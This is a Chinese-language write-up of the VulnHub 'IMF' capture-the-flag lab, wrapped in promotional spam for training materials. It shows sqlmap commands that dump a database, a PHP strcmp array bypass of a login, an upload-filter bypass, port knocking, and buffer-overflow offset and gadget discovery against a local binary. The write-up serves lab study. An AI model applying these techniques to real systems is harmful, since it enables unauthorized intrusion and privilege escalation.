IMF_1(VulbHub)_WriteUp

还有兄弟不知道网络安全面试可以提前刷题吗?费时一周整理的160+网络安全面试题,金九银十,做网络安全面试里的显眼包!

王岚嵚工程师面试题(附答案),只能帮兄弟们到这儿了!如果你能答对70%,找一个安全工作,问题不大。

对于有1-3年工作经验,想要跳槽的朋友来说,也是很好的温习资料!

【完整版领取方式在文末!!】

93道网络安全面试题

需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)

内容实在太多,不一一截图了

黑客学习资源推荐

最后给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

1️⃣零基础入门
① 学习路线

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

image

② 路线对应学习视频

同时每个成长路线对应的板块都有配套的视频提供:

image-20231025112050764

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

waf绕过(.htaccess绕过)

发现flag5

反弹shell

3、内网渗透

查找agent

查看开启的端口情况

查看/usr/local/bin下的文件

敲震端口

通过追踪来继续研究agent文件

创建后门

最终代码:exp.py

测试效果

cve-2021-4034-poc.c_2022通杀提权

基础探测

脚本探测

使用cve-2021-4034-poc.c

发现flag6

拓展

sqlmap可以一步到位

上传gif,却可以执行php命令

weevely

靶场作者wp


1、主机探测

image-20231112142200942

image-20231112142455931

image-20231112142536167

2、web渗透

发现flag1

image-20231112142719563

image-20231112143423069

 发现flag1:
 <!-- flag1{YWxsdGhlZmlsZXM=} -->
 allthefiles
发现flag2

image-20231112143129361

image-20231112142826870

 发现flag2:
         <script src="js/ZmxhZzJ7YVcxbVl.js"></script>
         <script src="js/XUnRhVzVwYzNS.js"></script>
         <script src="js/eVlYUnZjZz09fQ==.min.js"></script>
 ​
 ----> ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
 ----> imfadministrator

image-20231112143216184

再解一轮

image-20231112143321287

拼接imfadministrator目录

image-20231112143537920

 !-- I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger --
 ​
 type="text" name="user"
 type="password" name="pass"

image-20231112191249296

sqlmap跑了很久,一点也跑不出来

image-20231112192314595

收集用户名

contact.php这个页面发现有邮箱这样的信息

=> 用户名!

 发现邮箱信息:
 rmichaels@imf.local
 akeith@imf.local
 estone@imf.local
 三个用户信息!这里有三个用户:rmichaels、akeith、estone

image-20231112193606476

代码审计之弱类型绕过

通过枚举用户名,并且进行绕过尝试

 burpsuite测试用户名有效性
 测试akeith、estone时候回显:Invalid username  (无效的用户名)
 测试rmichaels回显:Invalid password(无效的密码)
 找到了正确的用户名!

代码审计之弱类型绕过

字符串转换为数组:

将字段名称更新pass为pass[],这意味着PHP将把这个字段解释为一个数组,而不是一个字符串。这有时会混淆验证字符串检查,如果输入是数组strcmp则会返回NULL!

image-20231112193836881

image-20231112193910016

发现flag3

将带有绕过的包放回

 flag3{Y29udGludWVUT2Ntcw==}
 Welcome, rmichaels
 IMF CMS

image-20231112194002455

image-20231112194824350

进入IMF CMS漏扫测试

image-20231112195332083

vulmap、AWVS等漏扫没法扫描出漏洞

image-20231112201455101

尝试跑sqlmap

想到之前的那个sql,再试一次,这次跑POST包

用burpsuite拦截流量包,右键点击:copy to file 保存到本地1.txt文本中!

image-20231112201804729

 sqlmap -r sql_post.txt --batch -dbs

image-20231112202035217

 sqlmap -r sql_post.txt --batch -D admin --tables

image-20231112202129691

sqlmap -r sql_post.txt --batch -D admin -T pages --columns

image-20231112202210151

sqlmap -r sql_post.txt --batch -D admin -T pages -C id,pagedata,pagename --dump

image-20231112202247791

发现异常数据

输入第三个表单当中的数据

image-20231112202440160

发现flag4

通过二维码扫描软件得第四个flag

flag4{dXBsb2Fkcjk0Mi5waHA=}
解码:uploadr942.php

image-20231112202629299

image-20231112202655042

继续访问uploadr942.php页面

image-20231112202743211

waf绕过(.htaccess绕过)

发现次waf检测文件内容!

image-20231112204959017

image-20231112204910541

这边肯定好奇了,这儿为什么上传gif,但是可以执行php的命令,这部分的内容我们后边再说。

image-20231112205342737

发现flag5
获得flag5:flag5{YWdlbnRzZXJ2aWNlcw==} 
base64解码获得:agentservices

image-20231112205400040

image-20231112205414400

反弹shell

image-20231112210024844

image-20231112210122393

image-20231112210220725

image-20231112210428076

image-20231112210607468

3、内网渗透

法一:缓冲区溢出-提权

查找agent
通过flag5 base64解码获得:agentservices
这是提示agent的服务存在问题!

find / -name agent 2>/dev/null    发现:
/usr/local/bin/agent
/etc/xinetd.d/agent

访问:/usr/local/bin/agent
是可以访问的,并且需要输入数值ID!

image-20231112221501520

查看开启的端口情况
netstat -ant    ---查看开启的端口情况
nc 127.0.0.1 7788    ---查看到开启7788端口是anget程序的

image-20231112222415098

查看/usr/local/bin下的文件

image-20231112222828012

image-20231112223502941

image-20231112223209914

敲震端口
敲震端口:
knock 192.168.126.167 7482 8279 9467
nmap 192.168.126.167 -p7788,80     ----这时候7788端口开启

image-20231112224804294

通过追踪来继续研究agent文件

image-20231112225916819

ltrace ./agent
随意输入数字!
strncmp("dwqdq\n", "48093572", 8)  = -1 ----正在将我提供的字符串与字符串48093572进行比较,在这种情况下导致=-1)

为了防止缓冲区溢出这种情况的出现,在C库函数中,许多对字符串操作的函数都有其"n兄弟"版本,例如strncmp,strncat,snprintf……兄弟版本的基本行为不变,但是通常在参数中需要多给出一个整数n,用于限制操作的最大字符数量。

甚至strings agent发现:两个地方使用了“%s”,这很可能是一个有效的溢出点!

vmmap
0xfffdc000 0xffffe000 rwxp      [stack]
发现这是个栈溢出的题目!

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
gdb ./agent
run
48093572    
输入后:
Main Menu:
1. Extraction Points
2. Request Extraction
3. Submit Report
0. Exit
选择Submit Report 3:

输入2000值后,发现segmentation fault溢出报错!存在缓冲区溢出!
0x41366641

还发现:堆栈开始是EAX寄存器
EAX: 0xffffcfd4 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASA\324\317\377\377TAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41366641
发现偏移量为:168

python -c 'print "A" * 168 + "B" * 4'
通过测试:
EAX: 0xffffcfd4 ('A' <repeats 152 times>, "\324\317\377\377", 'A' <repeats 15 times>, "BBBB")
EIP被168个字节覆盖,但是多给的B字节走到了EAX上,在给多个C测试shellcode会走哪儿!

python -c 'print "A" * 168 + "B" * 4 + "CCCCCCCCCCCCCCCC"'
EAX: 0xffffcfd4 ('A' <repeats 152 times>, "\324\317\377\377", 'A' <repeats 12 times>, "BBBB", 'C' <repeats 16 times>)

或者:
info registers eax
x/20x $eax -32
这时候可看到:
0xffffcfc4:     0xffffcfd4      0x00000001      0x00000000      0x0804b02c
0xffffcfd4:     0x41414141      0x41414141      0x41414141      0x41414141
......

C也走到了EAX,找保护措施!那么只需要找到eax值,即可直接跳到shellcode!


checksec
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
RELRO 是一种用于加强对 binary 数据段的保护的技术。
参考:https://lantern.cool/note-pwn-linux-protect/

查看ASLR设置:
cat /proc/sys/kernel/randomize_va_space
2
或者:
sysctl -a --pattern randomize
kernel.randomize_va_space = 2

0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(留坑,PIE会影响heap的随机化。。)
2 = 全随机。除了1中所述,还有heap。
说明存在随机化!ASLR功能的程序使用ret2reg(返回寄存器)指令来利用缓冲区溢出
参考大佬:
https://www.securitylab.ru/analytics/405868.php

gdb-peda$ jmpcall eax
0x8048563 : call eax

或者:asmsearch "jmp eax"
asmsearch "call eax"

EAX 地址0x8048563

目前知道了JMP值:0x8048563
偏移量:168


**网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。**

**需要体系化学习资料的朋友,可以加我V获取:vip204888 (备注网络安全)**

**[需要这份系统化资料的朋友,可以点击这里获取](https://bbs.csdn.net/topics/618540462)**

**一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!**

  • 4
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值